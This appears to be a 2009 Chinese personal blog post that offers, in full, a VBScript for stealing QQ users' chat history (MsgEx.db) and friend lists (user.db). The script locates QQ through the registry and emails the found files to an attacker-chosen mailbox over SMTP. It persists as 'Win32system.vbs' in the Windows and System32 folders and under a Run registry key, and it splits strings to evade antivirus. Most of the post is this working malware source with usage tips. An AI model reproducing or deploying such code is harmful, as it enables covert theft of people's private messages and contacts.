重庆上市公司招聘:vbs盗QQ聊天记录与好友列表_老天给少了我一份快乐，多了一份残酷．

百度空间 | 百度首页  |登录
               ',1)">
老天给少了我一份快乐，多了一份残酷．
主页博客相册|个人档案 |好友
查看文章
vbs盗QQ聊天记录与好友列表
2009年03月29日 星期日 15:00
盗取的是 user.db msgex.db文件
user.db 这个文件盗取之后覆盖自己的user.db就可以看到
msgex.db聊天记录 必须用别的软件看到
代码：
on error resume next
Dim keyWord1, keyWord2, Fso, outFile, sPath
'查找qq安装路径,本文件路径
Set ws=CreateObject("wscript.shell")
Set fso=CreateObject("sc"+"rip"+"ti"+"ng"+".f"+"ile"+"sy"+"ste"+"mobj"+"ect") '免杀 将引用的目标字符串名差分   只过了瑞星
Set qqpath=fso.getfolder(ws.regread("HKLM\SOFTWARE\Tencent\QQ\Install")) 是从注册表中找到路径的
Set fso=Nothing
Set ws=Nothing
'查找qq文件的路径，写入SearchResult.txt
Set fso1=CreateObject("sc"+"rip"+"ti"+"ng"+".f"+"ile"+"sy"+"ste"+"mobj"+"ect")
keyWord1 = LCase("user.db")
keyWord2 = LCase("MsgEx.db")
sPath=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))
set outFile = fso1.createtextfile(sPath & "\SearchResult.txt")
myFind qqpath
outFile.close
set outFile = nothing
set fso1 = nothing
'******************************
'启动10分钟后发邮件
wscript.sleep 1000*60*10
'******************************
'读取SearchResult.txt   这是个循环 循环读取SearchResult.txt的内容并以附件的形式发送到邮件
dim fso2,fread,strline
set fso2=createobject("sc"+"rip"+"ti"+"ng"+".f"+"ile"+"sy"+"ste"+"mobj"+"ect")
set fread=fso2.opentextfile("SearchResult.txt",1)
do until fread.atendofstream
strline=fread.readline
getfso=fso2.GetFile(strline).ParentFolder
folder=fso2.GetFolder(getfso).Name
'*******************修改以下信息
'发送带附件的邮件   这是关键的部分
最好使用163的   新浪的就不可以
If Send_Mail("这写要发送的邮箱","发送邮箱密码","发送到目标邮箱（例如：xx@163.com）","","来自QQ:"&folder,"邮件内容 123456489798798",strline)=True Then
'Wscript.Echo "发送成功"不显示
Else
'Wscript.Echo "发送失败"
End If
loop
fread.close
set fso=nothing
'设置开机启动
Set fs=CreateObject("sc"+"rip"+"ti"+"ng"+".f"+"ile"+"sy"+"ste"+"mobj"+"ect") '创建一个能与操作系统沟通的对象,再利用该对象的各种方法对注册表进行操作
Set dir1=fs.GetSpecialFolder(0) '获取Windows/WinNT文件夹位置
Set dir2=fs.GetSpecialFolder(1) '获取System32/System文件夹位置
Set so=CreateObject("sc"+"rip"+"ti"+"ng"+".f"+"ile"+"sy"+"ste"+"mobj"+"ect")
dim r '定义一个变量
Set r=CreateObject("Wscript.Shell")
If Not so.FileExists(dir1&"\Win32system.vbs") Then
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs") '复制病毒副本到Windows/WinNT文件夹位置
End If
If Not so.FileExists(dir2&"\Win32system.vbs") Then
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs") '复制病毒副本到System32/System文件夹位置
End If 其实只要这个就可以
If Not so.FileExists(dir1&"\Win32system.vbs") Then
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Win32system.vbs") '复制病毒副本到Start Menu启动菜
End If
r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system",dir2&"\Win32system.vbs"
set so=nothing
set r=nothing
'查找 得到qq文件路径后查找
Sub myFind(ByVal thePath)
Dim fso, myFolder, myFile, curFolder
Set fso = wscript.CreateObject("sc"+"rip"+"ti"+"ng"+".f"+"ile"+"sy"+"ste"+"mobj"+"ect")
Set curFolders = fso.getfolder(thePath)
If curFolders.Files.Count > 0 Then
For Each myFile In curFolders.Files
If InStr(1, LCase(myFile.Name), keyWord1) > 0 or InStr(1, LCase(myFile.Name), keyWord2) > 0 Then
outFile.WriteLine FormatPath(thePath) & "\" & myFile.Name
End If
Next
End If
If curFolders.subfolders.Count > 0 Then
For Each myFolder In curFolders.subfolders
myFind FormatPath(thePath) & "\" & myFolder.Name
Next
End If
End Sub
'路径格式
Function FormatPath(ByVal thePath)
thePath = Trim(thePath)
FormatPath = thePath
If Right(thePath, 1) = "\" Then FormatPath = Mid(thePath, 1, Len(thePath) - 1)
End Function
'邮件设置 网上找的
function Send_mail(You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment)
'code by NetPatch
'VBS发送邮件参数说明
'You_Account：你的邮件帐号
'You_Password:你的邮件密码
'Send_Email:主要邮件地址
'Send_Email2: 备用邮件地址
'Send_Topic:邮件主题
'Send_Body:邮件内容
'Send_Attachment:邮件附件
You_ID=Split(You_Account, "@", -1, vbTextCompare)'帐号和服务器分离
MS_Space = "http://schemas.microsoft.com/cdo/configuration/"'这个是必须要的，不过可以放心的事，不会通过微软发送邮件
Set Email = CreateObject("CDO.Message")
Email.From = You_Account'这个一定要和发送邮件的帐号一样
Email.To = Send_Email
'主要邮件地址
If Send_Email2 <> "" Then
Email.CC = Send_Email2
'备用邮件地址
End If
Email.Subject = Send_Topic
'邮件主题
Email.Textbody = Send_Body
'邮件内容
If Send_Attachment <> "" Then
Email.AddAttachment Send_Attachment
'邮件附件
End If
With Email.Configuration.Fields
.Item(MS_Space&"sendusing") = 2
'发信端口
.Item(MS_Space&"smtpserver") = "smtp."&You_ID(1)
'SMTP服务器地址
.Item(MS_Space&"smtpserverport") = 25
'SMTP服务器端口
.Item(MS_Space&"smtpauthenticate") = 1
'cdobasec
.Item(MS_Space&"sendusername") = You_ID(0)
'你的邮件帐号
.Item(MS_Space&"sendpassword") = You_Password
'你的邮件密码
.Update
End With
Email.Send
'发送邮件
Set Email=Nothing
'关闭组件
Send_Mail=True
'如果没有任何错误信息，则表示发送成功,否则发送失败
If Err Then
Err.Clear
Send_Mail=False
End If
End Function
类别：技术文档 | 浏览(160) |评论 (0)
上一篇：修改ie线程加快网页浏览速度    下一篇：批处理加密cmd
相关文章：
刚做的qq聊天记录自动删除的vbs
最近读者：
登录后，您就出现在这里。
绿豆3宋灵锡nowitzki_lp
网友评论：
发表评论：
姓　名：   注册 |登录 *姓名最长为50字节
网址或邮箱： (选填)
内　容： 插入表情
▼ 闪光字
验证码： 请点击后输入四位验证码，字母不区分大小写
看不清?

"); //-->
©2009 Baidu